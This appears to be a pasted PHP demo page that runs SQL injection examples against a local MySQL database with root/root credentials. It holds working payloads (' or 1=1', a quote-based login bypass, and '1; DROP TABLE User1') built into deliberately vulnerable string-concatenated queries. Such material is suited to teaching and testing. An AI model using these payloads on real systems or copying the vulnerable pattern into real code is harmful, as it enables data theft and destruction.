Advertisement
Guest User

Untitled

a guest
May 2nd, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>MySQL Database</title>
  4. </head>
  5. <body>
  6. <?php
  7. $user = 'root';
  8. $password = 'root';
  9. $db = 'sql_injection';
  10. $host = 'localhost';
  11. $port = 8889;
  12.  
  13. // Create connection
  14. $conn = new mysqli($host, $user, $password, $db);
  15.  
  16. // Check connection
  17. /*if ($conn->connect_error) {
  18. die("Connection failed: " . $conn->connect_error);
  19. } else {
  20. echo "Connection is okay" . "<br>";
  21. }*/
  22. ?>
  23. <h1>SQL INJECTION</h1>
  24. <h2>Database User</h2>
  25. <?php
  26. // SHOWING ALL THE RESULTS FROM DB USER
  27. $sql = "SELECT id, name, email, password FROM USER";
  28. $result = $conn->query($sql);
  29.  
  30. if ($result->num_rows > 0) {
  31. // output data of each row
  32. while($row = $result->fetch_assoc()) {
  33. echo "id: " . $row["id"] . " - name: " . $row["name"] . " - email: " . $row["email"] . "<br>";
  34. }
  35. } else {
  36. echo "0 results";
  37. }
  38. ?>
  39.  
  40. <h2>Examples</h2>
  41. <H3>Example One</H3>
  42. <?php
  43. // CODE BELOW IS ABOUT SQL INJECTION
  44. $sql_injection = "SELECT * FROM User WHERE id = 1000";
  45.  
  46. // examples
  47. $example_one = " or 1=1";
  48.  
  49. // tests -> only change the number of example
  50. $sql_injection_test = $sql_injection . $example_one;
  51. $result = $conn->query($sql_injection_test);
  52. echo "SQL used: " . $sql_injection_test . "<br><br>";
  53. echo "Input: " . $example_one . "<br><br>";
  54.  
  55. if ($result->num_rows > 0) {
  56. echo "The attack was successful!" . "<br><br>";
  57. echo "Answer: The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true!" . "<br><br>";
  58. // output data of each row
  59. while($row = $result->fetch_assoc()) {
  60. echo "id: " . $row["id"] . " - name: " . $row["name"] . " - email: " . $row["email"] . "<br>";
  61. }
  62. } else {
  63. echo "The attack was not successful!" . "<br><br>";
  64. }
  65. ?>
  66.  
  67. <H3>Example Two</H3>
  68. <?php
  69. // CODE BELOW IS ABOUT SQL INJECTION
  70. $sql_injection = "SELECT * FROM User WHERE email = 'bobo@email.com' and password = '1234'";
  71.  
  72. // examples
  73. $example_two = " or 1=1";
  74.  
  75. // tests -> only change the number of example
  76. $sql_injection_test = $sql_injection . $example_two;
  77. $result = $conn->query($sql_injection_test);
  78. echo "SQL used: " . $sql_injection_test . "<br><br>";
  79. echo "Input: " . $example_two . "<br><br>";
  80.  
  81. if ($result->num_rows > 0) {
  82. echo "The attack was successful!" . "<br><br>";
  83. echo "Answer: The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true!" . "<br><br>";
  84. // output data of each row
  85. while($row = $result->fetch_assoc()) {
  86. echo "id: " . $row["id"] . " - name: " . $row["name"] . " - email: " . $row["email"] . "<br>";
  87. }
  88. } else {
  89. echo "The attack was not successful!" . "<br><br>";
  90. }
  91. ?>
  92.  
  93. <H3>Example Three</H3>
  94. <?php
  95. // CODE BELOW IS ABOUT SQL INJECTION
  96. // examples
  97. $user = "1";
  98. $password = "1' or '1'='1";
  99.  
  100. $sql_injection = "SELECT * FROM User WHERE email = '" . $user . "' and password = '" . $password . "'";
  101.  
  102. $result = $conn->query($sql_injection);
  103.  
  104. echo "SQL used: " . $sql_injection . "<br><br>";
  105. echo "Input user: " . $user . "<br>";
  106. echo "Input password: " . $password . "<br><br>";
  107.  
  108. if ($result->num_rows > 0) {
  109. echo "The attack was successful!" . "<br><br>";
  110. echo "Answer:";
  111. // output data of each row
  112. while($row = $result->fetch_assoc()) {
  113. echo "id: " . $row["id"] . " - name: " . $row["name"] . " - email: " . $row["email"] . "<br>";
  114. }
  115. } else {
  116. echo "The attack was not successful!" . "<br><br>";
  117. }
  118. ?>
  119.  
  120. <H3>Example Four</H3>
  121. <?php
  122. // CODE BELOW IS ABOUT SQL INJECTION
  123. // examples
  124. $id = "1; DROP TABLE User1";
  125. $sql_injection = "SELECT * FROM User WHERE id=" . $id;
  126.  
  127. $result = $conn->query($sql_injection);
  128.  
  129. echo "SQL used: " . $sql_injection . "<br><br>";
  130. echo "Input id: " . $id . "<br>";
  131. ?>
  132.  
  133. <?php
  134. // closing the connection
  135. // phpinfo();
  136. $conn->close();
  137. ?>
  138. </body>
  139. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement